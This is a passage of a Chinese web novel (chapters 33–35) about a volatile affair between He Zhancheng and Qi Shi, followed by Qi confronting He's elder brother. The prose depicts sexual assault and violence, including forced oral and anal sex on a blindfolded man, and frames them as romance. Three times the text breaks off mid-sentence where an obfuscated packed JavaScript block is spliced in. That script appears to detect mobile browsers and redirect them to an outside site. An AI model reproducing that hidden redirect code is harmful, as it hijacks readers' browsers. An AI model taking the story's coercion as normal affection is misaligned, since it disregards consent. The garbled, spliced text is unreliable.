何湛程突然掌握了诀窍,他一笑,拽着戚老二的老二,大步昂扬地往床边走。 戚时又羞又恼,被迫亦步亦趋跟人走过去,他手下死死地攥着何湛程的手腕,想拔出去,又怕这疯子一个不乐意,真给他把命根子拔折了。 若说从前对何湛程不熟悉,对此人的传闻尚存几分怀疑,经过了昨夜,他确信何湛程是真的会做出这种事来的人。 但他也是真心不愿意迁就这个人三分钟热度的任性。 戚时恳求:“你先让我洗个澡。” 何湛程摁着他坐床边,和他面朝这面,抬腿一跨,坐在了他的大腿上,俯身凑在他嘴角吻了一下:“没关系,我不嫌弃你。” 戚时:“那我嫌弃你。” 何湛程脸色一僵,强压制着怒意,一派不容违逆的强势,将戚时压了下去,左手继续握着对方的把柄,右手去解他的衬衫扣。 戚时不禁燃起几分真怒。 有完没完!还有完没完!他长这么大,什么时候受过这种屈辱!压上来的还是个小他七岁的毛头小子!!这人侵占他的心还不够,还要玩弄他的身体!他是喜欢他又怎样!哪怕他再喜欢这个人,也绝不允许对方这样践踏他的尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409042|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严! 冲人低喝了句“不行!”,出于本能的抗拒,戚时抄手就从床头柜抓起台灯,一咬牙,朝伏在他身上的小畜生右肩膀上砸了下去! 是银色钛合金座的水晶台灯,砸在人骨头上发出很闷重的一声响,戚时按捺下对小畜生的心疼,他没打算下手这么重的。 他只想让小畜生松开他。 小畜生没松开他,一动不动,仍保持着骑在他腰上的姿势,愣愣地看着他。 眼眸似乎闪过一丝受伤,小畜生像头被人偷袭捅进心脏一刀的幼兽,清纯白净的脸庞,颤颤抖动的嘴唇,扑闪着漂亮的睫毛,不敢置信地看着他。 戚时立刻就后悔了,不自在地咽了咽喉咙,正要辩解着教训人两句,那头幼兽泪水盈满的眸底,霎时间布满通红的血丝,狭长眼尾折出疯狂的、嗜血般恐怖的笑意。 “你宁愿跟一只鸭子睡,也不愿跟我,嗯?” 一滴晶莹的泪砸落在他脸上,那人笑着,温柔的话音犹如在同一个刚出生的婴儿低语。 戚时心里一个咯噔,不待他反应,手上台灯被人猛地一把夺走,小畜生从他腹下抽出手,凶残的大掌掐住他脖子,那条被他砸过的臂膀仿佛毫无知觉般,重重地将他提溜到床头前,令他一只耳朵和半张脸挤着墙面,另一手则攥紧台灯,在距离他耳朵仅两三厘米的距离,砰!砰!砰!砰……一下又一下,屠夫剁肉一样,不停歇抡着台灯,用尽全力朝墙面砸着。 这是一个几近疯魔的噪音制造者,是与死神共舞的癫狂之人,当他精神沉浸在某一境界,他就没有了痛感,满脸皆是恣肆妄为的畅快。 水晶玻璃很快被砸成碎片,无数片切口锋利的玻璃渣,哗啦啦下雨似的,全掉在戚时的头发和脑袋上。 他紧紧地闭着眼,感受到一阵又一阵的头痛和耳鸣,刀片一样的尖锐物,不断擦过他额头、鼻梁、耳廓、和脸庞上的皮肉,眼皮上也黏了几片,他感知到自己的脸有无数伤口正在缓缓裂开、出血,又听到头顶的小畜生冷哼一声,甩手扔掉了台灯,伸出冰冷的指尖,一片片帮他拂拭掉。 这大概就是消气了的意思吧。 戚时突然有点感动。 他觉得,小畜生还算疼他,他还以为何老三也要拿台灯砸他呢。 想要睁眼看看那人的表情。 戚时记得自己闭眼前何老三哭了,眼泪簌簌掉着,格外招人怜爱,就听头顶那人冷冷道:“不想变瞎就别睁眼。” 戚时就没睁眼。 何湛程按铃叫了客房服务,要了擦伤药、镊子、创可贴和绷带,然后去浴室洗了把脸和手。 等东西送来,他命人将床头的一片狼藉打扫了,床套也换了,无视工作人员惊愕的目光,拽着暂时眼瞎的戚老二去沙发上坐着,半蹲在人身前,抬起手,小心翼翼地帮人把黏在眼皮和脸上的残渣取出来,一点点帮人上药。 尽管脸上的伤口会绽开,戚时仍忍不住闭着眼笑:“诶,怎么不砸我身上?” 何湛程帮人创可贴的手一顿,下一秒,抬头瞪他:“有病吧你?!” 戚时抓瞎,伸手去摸他右肩膀,语气满含愧意:“疼么?” 何湛程重重打掉他手:“老实点儿!” 戚时闭了嘴,思量着当下何老三肯定恨得他牙痒痒,正打算让人拿着他手机再去订个房间,刚涂好药的眼睛就被人拿绷带蒙住了。 一圈、一圈、又一圈,紧紧缠绕的绷带遮住人眼,何湛程面无表情地站起身,在人脑后打了死结。 戚时这下是彻底看不见了,整个人陷入漆黑,让他很没安全感。 他抬手绕到脑后就要解开,两手腕却被人一把攥住,接着,眼前似乎是牛仔裤链拉开的声音,嘴边,某种滚烫的、青筋暴起的东西,轻轻擦着他的唇。 戚时一怔。 头顶人居高临下道:“张嘴。” 戚时张嘴就要拒绝。 那人在他拒绝之前,果断强势侵入,然后大力抓着他的头发,完全填鸭式捅入他喉腔,不给他有丝毫反应的机会。 戚时喉咙被折磨得几次要干呕出来,又被迫吞咽着,他被蒙住的眼睛也挤出了疼痛的泪,那人却看不见。 那人看不见,就不会心疼他。 戚时气得眩晕无比。 何老三,很好,一个货真价实的畜生,让他比刚才那个姿势还要受凌辱百倍! 戚时沉默地流着眼泪,备受屈辱地任人宰割,他很想说话,他发誓等他重见光明了,他一定要弄死何老三! 什么狗屁的爱,什么缠绵悱恻的恨,全都比不上他戚老二今晚遭受的奇耻大辱重要! 奈何两侧脸部肌肉却早已僵硬,喉咙也遍布xing腻,别说开口讲话了,他连声音也发不出。 那人瞧着他蒙眼的绷带都哭湿了,喘息了会儿,轻轻一笑,声音听起来比他要愉悦得多。 依旧是冰凉的指尖,奖赏般抚摸着他的脸,说了句“乖”,终于舍得放开他。 戚时突然就想起曾经许若林那条“你夸我乖”来。 顿时恶心得要死要活,扭身扒着沙发,手指疯狂抠着自己喉咙,好几分钟过去,五脏六腑都恨不得咳出来,一张遍布血痕的俊脸涨得通红发紫,身上都冒了汗,愣是哕不出半点。 何湛程俯下身来拍他肩膀,关怀问:“怎么了?” 戚时仰起脸冲人恶笑:“我嫌你脏。” 何湛程也笑,猛地直起身,一把拽上他衬衫领,拖死狗似的,两三步走去床边将他扔上去。 这人平时惯会装柔弱,实际力气远比他想象中要大,戚时这晚醉得厉害,还挨了打,眼睛看不见,完全受人钳制着,身上衣服也被那疯子撕了个稀巴烂,简直毫无抵抗的余地。 …… …… 从未觉得与人**是件如此要命的事,戚时忍不住闷哼出声,很快,额角青筋爆出,鬓角洇出了密密麻麻的细汗,他痛苦地蜷起身体,埋头钻进白色的、皱巴巴的床单,疼得笑出了声。 身上人不愿令他用这姿势纾解痛苦,强势碾压着他的四肢,吸血鬼似的,埋头一口咬上他侧脖颈。 戚时强忍着不舒服,微微仰起身,凑在人耳畔,大汗淋漓,却笑若春风: “何老三,我劝你今晚上最好把我做死,不然等明个儿天一亮,就是你的死期。” 34. 第34章 凌晨四点半,夜天渐亮,长街寂静,春树梢上不时响起几声鸟叫。 何湛程一身崭新运动潮牌,容光焕发,怀里抱着另一套和自己身上一样的情侣装,及一堆被撕烂了的衬衫西裤,阔步昂扬地走出酒店大门。 北方四月清晨冷风瑟瑟,吹得他鸡皮疙瘩乍起一身,他没忍住打了个大喷嚏。 然后,双手一扔,把戚老二的新旧衣服、皮鞋,连含袜子内裤,全扔进了路边的垃圾桶。 嗯,戚老二的手机被他存在了前台处,非“何湛程”本人签名,一律不给。 客房服务的电话和按铃也拆了,他就不信戚老二还有本事追出来。 何湛程站在金光闪烁的大理石高阶下,忍住想要再跑回去房间,把他手机和手串拿回来的冲动,两手一插兜,长腿沿着人行道,哼着小调,一路向北走去。 戚老二还醒着,那人像头遭受重创的雄狮,昏沉沉地伏在床上打盹,虽说身子软成一滩烂泥,连抬手解开绷带的力气都没有,但受伤的猛兽也是猛兽,万一见他又回去,突然情绪爆发扑过来把他咬死,他何湛程就真的看不见今天的太阳了。 啧,要么说是体育生呢,毕业好几年了,身子骨还这么硬朗,练得胸大屁股翘的,八块饱满的腹肌,一双逆天长腿,铁鞭子似的,报复性地勾在他腰间使力时,锁得他身子都要断成两半了。 戚时体力异常惊人,持久又耐操,何湛程毕竟年纪小些,中途做累了,擦擦汗,然后瞧一眼戚老二那张浓颜俊美的脸蛋,看那样一个位高权重的、骄傲自负的男人匍匐在自己胯|下,蒙着双眼满脸红|潮地喘|息,别提有多爽了。 何湛程拽着人强做了四个多小时,戚老二没有昏倒就算了,还笑得愈发猖狂,这要换个心理素质差点儿的人,早被吓跑了。 何湛程不无得意地想,真不愧是他一眼就看上的男人,够劲儿。 念在俩人尚存的那一丝丝情分,何湛程到底没舍得下太重手,只是怒意最盛时,将人往死里折腾了几遍,戚时心生抗拒,遇刚则强,险些反客为主。 何湛程就换了路数,摇摆着身子就笑着滑进那人怀里,戚时抵不过他撒娇,明知他在作践他,紧抿着唇,似乎很不情愿,身体却诚实地递送上来,供他随意玩弄。 何湛程就忍不住取笑他,戚时听不得他那些骚话,一头扎进枕头里,只露出臊得通红的耳根,倒显得十分可爱。 天将明,一轮红日初升,照耀在东方上空,万里光芒四射开来。 何湛程抬起右手,对准那一轮红圆,打量着他腕上那几道长短不一的、泛血褪皮的抓痕,眯起了眼。 戚老二那个混账,狗爪子比铁钩子还狠,挠他别的地方就算了,居然还敢挠他手腕,那力道恨不得把他大动脉给挖出来,有病么? 别的时候不挠,偏偏在他脱手串的时候挠? 何湛程忽然意识到什么,猛地褪下衣袖,重新插手回兜,表情漠然,继续往目的地走着。 暧昧也好,情人也好,哪怕是交往,戚时以为自己是谁? 这么一个朝三暮四的下九流,前脚刚和他分手,后脚就去会所泡鸭子排遣寂寞的狗男人,他爱得起他何湛程么? 他配么? 许若林也好,裴玉也好,哪个不是对他一心一意,戚时这个被无数女人睡过的脏东西,还敢嫌他脏? 嫌就嫌吧,自己心里知道不行,还非得说出来找两个人的不痛快? 就这,还执着地找他何湛程要地位? 做梦。 下午两点多钟,何湛程踏入一处繁华商业中心的写字楼,跟回自己家似的,漫不经心地四下打量着周遭环境,然后随便揪出几个挂工牌的接待员,言辞犀利地点评一番简陋的大堂设施,对方懵懵懂懂地听着,不待说点什么,何湛程身子又一斜,吊儿郎当地倚在大堂前台,下巴一抬,问接待人员要座机打电话。 接待人员云里雾里:“请问您是?” 何湛程帅气一撩头发:“你们董事长的亲弟弟。” 接待人员:“您借电话是何用途呢?” 何湛程啧一声:“能啥用途,给我大哥打电话呗。” 接待人员欲言又止,抓着身边两个小姐妹说了几分钟悄悄话,仨人偷摸上下打量他一番,就把话筒给他了。 何湛程轻哼一声,抱着座机按手机号,他大哥日理万机的,他打了六遍才接通。 他大哥接陌生电话很客气,彬彬有礼道:“喂,你好。” 何湛程也彬彬有礼,故作深沉道:“喂,你好。” 他大哥:“……” 何湛程笑:“是我啦!” 他大哥:“滚。” “等一下!”何湛程连忙道:“你得救我!” 他大哥似乎蹙起了眉头:“你又惹什么事了?” 何湛程哼一声,不敢全部交代,只说:“我把戚老二惹毛了,最迟今晚,你要不救我,我就要死在这边了。” 这一路其实很长,二十多公里,他从清晨步行到下午,边走边歇,但又不敢歇太久,生怕戚老二那头体格魁梧健壮的雄狮休息够了,又生龙活虎地从床上蹿起来找人弄他。 不,戚老二自己就能弄死他。 昨晚折腾得昏天黑地,清晨醒来迷迷糊糊,又被戚时撂了狠话,何湛程早上逃跑的时候,一心只想着把戚时困在屋里久一点,抱走的东西全是戚时的,自己手机和手串倒留在酒店了。 茉莉和裴玉也不能再找了,他不能让擎荣的人知道他的行踪,许若林给他买的飞机票他没用,那小子昨晚上还问他几点到,他在会所门口蹲人的时候,很认真地回复许若林一条:“不回了,我以后就留在燕京了。” 留个屁! 他得逃!逃得越远越好! “要么你派直升机过来接我,要么你赶紧让银行给我把钱解冻,我自己想办法逃走,反正我不能继续待在这边了。”何湛程自认还算态度友好地跟他大哥摊牌。 他大哥很不耐烦,训斥道:“你一天到晚除了给我惹事之外,你还会干别的吗!二十岁的人了,一点儿责任心都没有,你不是很会油嘴滑舌吗?这一次你自己闯的祸自己担,我命令你现在就去跟人家道歉!” 何湛程“嘿哟”一声,忍不住脾气上来:“你什么态度啊!” 他大哥沉声道:“你先亲自去跟人家道歉,不管他原不原谅你,剩下的事我来处理。” 何湛程又蔫下来:“不行,我这次是真的把人惹毛了。” 他大哥顿了顿,问:“你把人惹到什么程度了?” 何湛程唏嘘一声:“惹到……他一定会将我碎尸万段的程度,嗯,物理意义上的碎尸万段。” 他大哥“哦”了一声,然后轻飘飘地撂下一句“所以我才让你去道歉啊”,果断挂了电话。 何湛程愣在原地,人傻了。 下一秒,勃然大怒! “何闽轩你还是人吗!你是人吗何闽轩!!!戚老二给你什么好处,你居然胳膊肘往外拐!!你是人吗!!” 一边骂骂咧咧,一边面目凶残地继续给人拨电话,电话键按得噼里啪啦,他连续打了三四十遍,却再也无人接听。 三名接待前台也愣,眼睁睁看着刚才还笑容可掬的少爷,转眼之间就变得面目可憎起来,最后电话打不通,少爷泄了气,啪一声,把话筒狠狠叩回去,刚换的崭新座机迅速绽出好几条裂纹来。 “叫你们总经理下来,”何湛程换了进攻方向,大手一挥,吩咐道,“就说是何老三来了,他认识我。” 前台连忙跑去一边给总经理打电话。 并且详细给经理描述了一遍这位何老三同志在楼下的暴力行径。 没料总经理那边说不认识,让她们叫保安把这个捣乱的神经病赶走。 前台挂掉电话,言辞委婉地向何老三传达总经理的意思。 何湛程挑眉,也惊讶:“怎么,你们总经理不是秦旭么?他认识我啊,那小子装什么蒜呢?” 前台歉然笑:“不好意思何先生,秦总被调走了,我们现在的总经理是沈总沈致亭。” “什么婶总叔总的,”何湛程不耐烦道,“他在几楼,我亲自上去找他!” 前台犹豫,何湛程面色不善地盯着她:“漂亮姐姐,你别装傻,你刚才也听见我跟你们董事长打电话了吧。” 前台无奈,轻轻嗯了声。 她是听到了。 她听到董事长叫他滚。 但显然,这的确是董事长家的少爷,于是先找沈总说明了情况,没等人回复,就立刻给少爷开了绿灯。 少爷来头实在太大,别说她这种小角色了,就是沈总也得罪不起。 何湛程一路电梯坐到三十七层,大摇大摆地找到了总经理办公室,门也不敲,直接就推门进去了。 对方正埋头办公,听到动静,从电脑屏前抬起头,打量的视线全程跟随他的步子,又见他不客气地一屁股坐在待客沙发上,拿起桌上刚送到的茶点外卖就吃,表情有些复杂。 何湛程奔波一路,又渴又饿,毫无愧疚心地喝着人家的咖啡,吃着人家的茶点,眼皮也不掀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409043|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,大声报了自己来头和身份证号,让那长得人模人样的沈总赶紧给他弄张机票,再派人送他去机场。 那个叫沈致亭的没理他,拿着手机就出去了,想必是去找他大哥打电话验证。 何湛程等了半天,见人终于进来,嘴角刚刚扬起得意的微笑,就听对方面容淡淡和他讲,他大哥发话了:不管,更不准任何人管。 何湛程脸臭得不行,甩手扔了咖啡茶点,抱臂往沙发上一靠,说:“那我就在这儿坐着了!” “你随意。”对方摆了个请的手势,然后长腿一迈,绕过茶几,头也不回地坐回椅子上继续办公了。 何湛程就有点烦躁。 他这一天天的,碰上的都是些什么牛鬼蛇神,一个正常人都没有,按理说,就算他大哥发话了,沈致亭作为底下人,就一点眼色都没有? 这人不知道偷偷巴结他么? 顶头上司的直系家属来求你办点鸡毛蒜皮的小事儿,上司发话说不准给办,你还真就不给办了? 姓沈的这小子资历太浅,以后能升官发财才是真有鬼了! 何湛程憋着火气,窝囊地等了几小时,等到傍晚人都快下班了,他忍不住又催沈致亭快帮他买机票,没曾想那小子不帮他就算了,居然还自持年长,板起脸教训上他了? 何湛程气得胃疼。 他大哥从哪儿提拔上来的这路妖魔鬼怪?区区一个分公司总经理,又傲又清高,他跟这不识相的小白脸装货话不投机半句多,正寻思着再找个谁救援呢,他表哥陈北劲宛若神兵天降一样,突然出现在沈致亭办公室外面。 何湛程简直喜极而泣! 然后他就意识到这俩人有一腿。 还有沈致亭那个无比清高的装货是怎么坐上这个位置的了。 不过这跟他没关系,何湛程清楚陈北劲是那种事不关己高高挂起的人,陈北劲也不想让他多嘴拆穿沈致亭的事,于是哥俩经由一番讨论,愉快达成一致—— 由陈北劲安排直升机送他离开燕京,再提供私人飞机供他逃往国外,他老老实实走三十六层楼梯,在沈致亭面前避嫌他和陈北劲的表亲属关系。 何湛程从未这般忍辱负重过。 但上月在剧组那么多苦力活他都干了,那么多欺负他都忍了,现在为了逃命,他还在乎这区区几十层楼梯? 戚时,再见。 燕京,再见。 还有,爱情,再也不见。 晚九点,轰隆隆的直升机飞过繁华璀璨的京城上空,何湛程身上裹着羊绒毯子,手里捧着保温杯,面无表情地俯瞰脚底灯火斑斓的夜景,和那座与他擦身而过的巨型摩天轮。 他手机里还存着摩天轮的录像,他想,一直留着没删,就是为了某天跟某人证明,自己真的很喜欢他。 因为很喜欢一个人,所以那人提过的每一个地方他都要去。 何湛程扭过头,找随行人员拿过他的手机—— 是的,他的手机。 他让陈北劲派人去昨晚的酒店拿他遗留在房间里的东西,当时天色已晚,据帮他保留物品的酒店工作人员称,戚时在今天中午十二点被催退房时,才终于找到人帮他买到了衣服,又半威胁半贿赂的向他们要回了手机,风风火火地离开了。 何湛程猜,那不是“风风火火地离开”,而是“杀气腾腾地离开”。 然而他表哥派去的人只帮他找到一个手机,他那条沉香手串却不翼而飞了。 戚老二那个偷东西的贼! 何湛程冷着脸,毫无留恋地把摩天轮视频永久删除了,关于戚时的所有联系方式也都删了,然后,他发了条消息给何老大,说如果戚老二跑来算账的话,让老大记得帮他把手串给要回来,不然他下半生一定会倒霉的。 他大哥回他一句“滚”。 这就是“知道了”的意思。 暖暖的,很安心。 正要打电话给他二哥,他准备马上就去墨西哥玩儿了,让他二哥随时恭候迎驾,许若林就给他发来两条消息。 一张图片: 铺着拉菲草礼物盒里,摆放着两个黑色的男士运动机械手表,左边表盘装饰着两条暗蓝色闪电纹,表盘内繁星点缀,犹如星盘,轴心是破碎的半颗红心。 右边款式几乎一样,唯二的不同,闪电纹是暗红色的,轴心是另外破碎的半颗红心。 两半颗破碎的心合在一起,刚好是一整颗心。 另配一条文字: —程哥,手表我帮你组装好了,我是送你家去,还是给你邮寄到燕京? 35. 第35章 红木墙壁高悬数盏黄铜琉璃壁灯,将拼花地板照得油亮,雕花木门被缓缓推开,专接待贵宾的会客厅,一张紫檀木桌,主客相对而座。 女佣陆续过来上点心,温言细语说句“先生,请慢用”,不及客人应,又款款退下。 玉骨茶碗飘出袅袅茶香,客人识货,浮盖轻轻一嗅,就知道是凤凰单丛宋种的珍稀品。 对面,主人一脸温润平静,向他摆了个请的手势。 主人说他远道而来,请他先解渴。 客人只好按捺住性子,低头喝茶。 他是渴,连夜开的车,狂飙三千多里地,早晨硬闯人私宅,遭仆佣重重围阻,他单枪匹马来,跟一群底下人费尽口舌,好容易见到了主人,对方一派和气,举手抬足,斯文磊落,他气焰登时就被灭掉了一半。 客人心不在焉地喝着茶,不时瞥几眼墙上挂满了价值连城的古董字画,老藤遮掩半扇窗的庭院外,不知何处传来悠扬小提琴声,手法稚嫩,又不失儒雅之气,想必是谁家的小孩儿在拉琴。 不管是谁家的,客人想,这小孩都一定姓“何”。 这是一座中西合璧式的私宅庄园,颇有些老上海的味道,主建筑恢弘壮阔,宛若一座沉淀着峥嵘岁月的古堡,边角有些许残破,主人不曾修葺,想来是为彰显几分古情韵味。 古堡两侧延展出数座老派洋楼,庭院前是锦绣花园、清冽喷泉、四五十来辆豪车整齐排列着的、绵延数千米的停车棚,院子后则是一望无际的涛涛松林、永不见尽头的绿色草坪,和优哉游哉开着割草机到处转悠的园丁。 蓝天白云之下,七八个漂亮的少年在绿坪里放肆地踢球嬉戏,脆铃般的笑声随风飘荡,传向远方;休息处,陪着自家少爷来玩儿保姆佣人们聚在一起谈笑说话,聊得不亦乐乎;亦有白发苍苍的年长者或正支着画家写生的女孩,东边老者在树荫下看书,西边女孩儿衣裙飘飘,全神贯注地写生…… 这座庄园总占地三百八十六亩,住着整个何家嫡系及部分旁支亲属,客人早上硬闯进来时,第一声叫嚷着:“何老三还不快滚出来给老子受死!”第二声就不自禁换成:“把你们家三少爷给我喊出来,我有事找他。” 客人第一次上门追凶,没经验,底下人们可清楚的很—— 但凡站在他们家门口找三少的,甭管他来者何人,反正一律没好事儿,因此各种推诿阻拦,把客人气得半死,直言何家人都是蛇鼠一窝,是一群毫无道德之心的社会败类! 现在,从一窝蛇鼠里终于走出来个能扛事儿的正派人物,客人一碗清茶喝到见底,却越待越拘谨。 何老大分明跟他是同龄人,怎么浑身散发出一股子老谋深算的狐狸味儿? 哼,他不禁心下腹诽,何家人说不准都是狐狸变的,比如某老三,长得就跟个狐狸精似的。 何闽轩也不动声色打量着对方: 戚老二比他想象中要显年轻,也更有冲劲儿,长相很正,英气逼人,是传统中式的浓颜俊男,立体的五官犹如鬼斧刀凿,一双浓黑飞斜的野生眉,深邃的眼窝,饱满的卧蚕,周遭气场散发出一种宁折不弯的阳刚之气,既老练稳重,亦有尚未泯灭的、火辣辣的少年性情。 戚时穿休闲装,款式简单的白衬衫、松松垮垮地打着条细长领带,牛仔紧身裤,一双锃亮的牛皮短靴踩得地板啪啪响,外套是过膝的黑色风衣。 他一米九的个头,袍子一撩,屁股往那儿一坐,斜着身子往后一倚,一句不容置喙的话,“把何老三交出来我立马走人,别的没商量”,无赖得理所应当,很有一个入室抢劫犯的气势。 尤其是发型—— 一个集团老总,发型居然是寸头。 青皮短寸,左耳后似乎新剃了道“Z”字型闪电,仗着一副攻击性极强的五官,随便做什么表情都显得狂妄至极,若非有一张正得发邪的浓颜俊脸撑着,此人真的很像个混在社会边缘地带的流氓。 不过看一眼对方的脸—— 白到发亮的皮肤,无数血痕切口,太阳穴、右额角和下巴三处,大概伤口太深,贴着创可贴,何闽轩就明白戚老二为什么剃头了。 他们家那只小畜生对人不至于用刀片,所以,这大概是玻璃渣。 玻璃渣掉进头发里不好清理,随便一抓还容易割伤头皮,于是戚老二干脆全剃光了。 何闽轩无奈,对人满含歉意地开口:“时兄,真是不好意思,我这个弟弟不懂——” 戚时连忙抬手打住:“别介,我就比你大几个月,你叫我名字就成。” 心想,难怪何老三跟人写东西也搞什么“林弟”,合着这一家子都喜欢称呼兄啊弟啊的,真是大户人家做派,就爱搞这种文绉绉的东西,真别扭! 何闽轩一笑,说:“行,但是不巧,我们家老三目前没在国内,你要找他的话,可能得等几个月了。” 戚时才不吃他这一套,反扣着指弯,重重地敲两下桌子,语气不善:“何董,咱们明人不说暗话,当初是你把何老三赶我那儿来,我是看在你的面子上才乐意带他,现在我拜你所赐,被你们家那只野猫挠成这样,你倒好,一声不吭又把人给我藏起来了,不管从哪方面看,你这都不太能说得过去吧?” 何闽轩笑着安抚:“我没那意思,作为大哥,将弟弟放纵成这样是我的失责,我本就该让他亲自给你道歉,老三他也非常愿意承认错误,只是你现在正在气头上,出手难免会重些,把老三打坏了还好说,万一伤了我们两家人的和气,咱们好容易建起来的友谊的桥梁就塌了,你不觉得可惜吗?” 戚时冷笑:“塌了就塌了,何董青年才俊名采风流,哪里用得着我戚时替你打下手?我区区无名之辈,当然就更不敢麻烦你了,但是何老三,我今天必须带走!” 这一番话说得天衣无缝,何闽轩不禁诧异,人都称戚时“莽夫”,连与戚时常来往的陈北劲都数次抱怨过戚老二的俗不可耐,可此人能够稳坐集团二把手,本身还是有些斤两的,只是不轻易对外显露罢了。 能赢得这样一个莽夫的尊重,何闽轩心想,不知道对方是敬他何氏集团副董事长的身份多一些,还顾忌是他是何湛程大哥这个身份多一些? 正要开口,忽地见对方两肘闲闲地撑在椅子扶手上,风衣长袖褪却小半截,露出两只手腕来。 左手腕银带闪亮,戴着块劳力士手表; 右手戴着一串沉香珠,108颗野生奇楠深色珠子,腰间有两颗暗光涌动的南红玛瑙作配珠,金玉缀饰,在他腕间缠了三圈。 何闽轩胸膛一震,水都不敢喝了,将刚端起来的茶碗放回去,面上不动声色,抬手遥遥一指,笑问:“你这串珠子是?” 戚时唇角一勾:“捡的。” 何闽轩追问:“哪里捡的?” 戚时耸耸肩:“地上捡的。” 何闽轩:“……” 何闽轩打小是从枪林弹雨里长大的,一路走来全靠硬拼,从不信命,但他家老爷子和小畜生都信这些,他作为当家人,不能任由自家的宝物戴在旁人的手上,于是只好戳破窗户纸: “家弟也有串一模一样的,你捡的是他的吧?” 戚时仰身一靠,姿态倨傲如太上皇,笑得一脸无赖:“我不知道啊,戴在我手上就是我的了。” 何闽轩:“……” 他好像明白戚老二脸上的伤是怎么来的了。 别说老三了,他也很想打他。 何闽轩耐着性子:“这是家弟的东西,望你归还,当然我们何家人并非不懂礼节,你想要多少,直接给我个数就是了。” “不,”戚时执着道,“我只要何老三。” “老三没在国内。” “那你就把他给我召回来!” “我如果能对他呼之即来挥之即去,就不会把他送你那儿去历练了。” “我也想问,”戚时眸色一凛,“你为什么非把他送我那儿?” “因为时兄一表人才,很有领导风范。” “我要听真话。” “手串的事,时兄不也没对我讲真话么?” “你别叫我‘时兄’了行不行,我听着别扭。” 何闽轩淡淡一笑,说:“这么僵下去不是办法,对于这次事故,我很抱歉,老三年纪也不小了,他惹了事,本就该他自己承担,我其实不介意把他在哪儿告诉你,但我也有一个条件。” 戚时一挑眉:“你说。” 何闽轩似乎早有准备,他站起身,走到在厅内西角落的保险柜前蹲下,拿出一份牛皮纸密封文件,过来递给戚时。 戚时看到文件封条白底黑字,狷狂毛笔字写着“燕京擎荣集团戚时总裁亲启”。 他讶然抬头:“给我的?” “家父写的,”何闽轩笑,“本来是要写给令兄,但令兄近两年似乎不太管事了,加上你我年龄相仿,家父觉得,让我找你联系更好说话些。” 戚时撕开封条,一边拆着文件,抬眼问他:“所以,把何老三扔过来燕京试探我,也是你和你‘家父’设计的一环?” 何闽轩坦然:“是也不是,但时兄,你比我想象中要透彻。” 戚时冷哼一声:“我又不傻,没点利用价值,哪儿能攀上你们何家的高枝儿呢。” 戚时猜,对于何家这种半隐退式的、不太爱冒风头又势力庞大的家族,接下来肯定要有大动作,才会将目标锁定他和擎荣集团。 他戚老二接的业务很广泛,并非养几个明星混娱乐圈或者做动画动漫这么简单,在当世纪,社会舆论风向主要受网络信息传播的影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409044|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不止何家,其他合作公司也会找他签订秘密合同,以求在短时间、大范围内迅速营造出有利于他们公司发展的浩大声势。 对于内容发布者来说,信息是可以失真的、被扭曲的,爆炸性新闻可以是无中生有的,真正揭露社会弊病的帖子是能够在一夜之间就全部销声匿迹的,而他戚时,就是整个舆论导向的幕后操控者。 初踏入这个行业时,戚时还有些天真,每天哼着歌开着豪车来上班,美滋滋往办公室一坐,闲着没事儿了,还会举哑铃练俯卧撑,他轻飘飘一句话,集团数十万人都得听他的,他的一个指令,就能让无数笔杆子照着他的意思通宵奋战,他自认大权在握,凭一己之力就可以整顿全娱媒行业。 他还认为,他将是一束开天辟地的光,只要他带头不接纳污浊,污浊就不会流入市场,整个舆论生态就会形成绿色的良性循环。 他曾经是多么一个阳光开朗又愚蠢至极的男孩儿。 很快,竞争对手接二连三给他的教训和打压令他迅速清醒过来:这个世界有阳光普照的地方,就一定会有阴影笼罩的地方,有清澈纯净的地方,就一定有藏污纳垢的地方,他不是领导者,更不是什么狗屁的光,他只是时代洪流中的一粒沙,他引领不了任何趋势,是历史的周期性、是滔天的怒浪在推着他往前走。 他要么淹死,要么不择手段。 年纪轻轻就身居高位,他莫名地站在了风口浪尖上,一句话说错了,数十万人的饭碗就没了,他必须要不断忍受别人往他身体里塞进的骂名和污垢,才能保证自己在阳光之下的体面。 他进了这个行业,这个行业跟“娱”字沾边,而八卦是人的天性,庸碌之辈最喜喧嚣,太多人不分是非,太多人随波逐流,他站在世人摇摆不定的善恶之间牟取暴利。 就像他哥说的,他真的就是在坐享其成,他没资格抱怨什么。 戚时一页页翻看合同,内容令他有些诧异,还有那封何老爷子写给他的两页手写信件,通篇“戚小友”,哼,素不相识的老头子,叫得他还挺亲,但没提半句何老三,字里行间都是对何闽轩的殷切关怀,净是些“冲龄流亡在外”、“犬子不易”、“望你二人携手”之类的话。 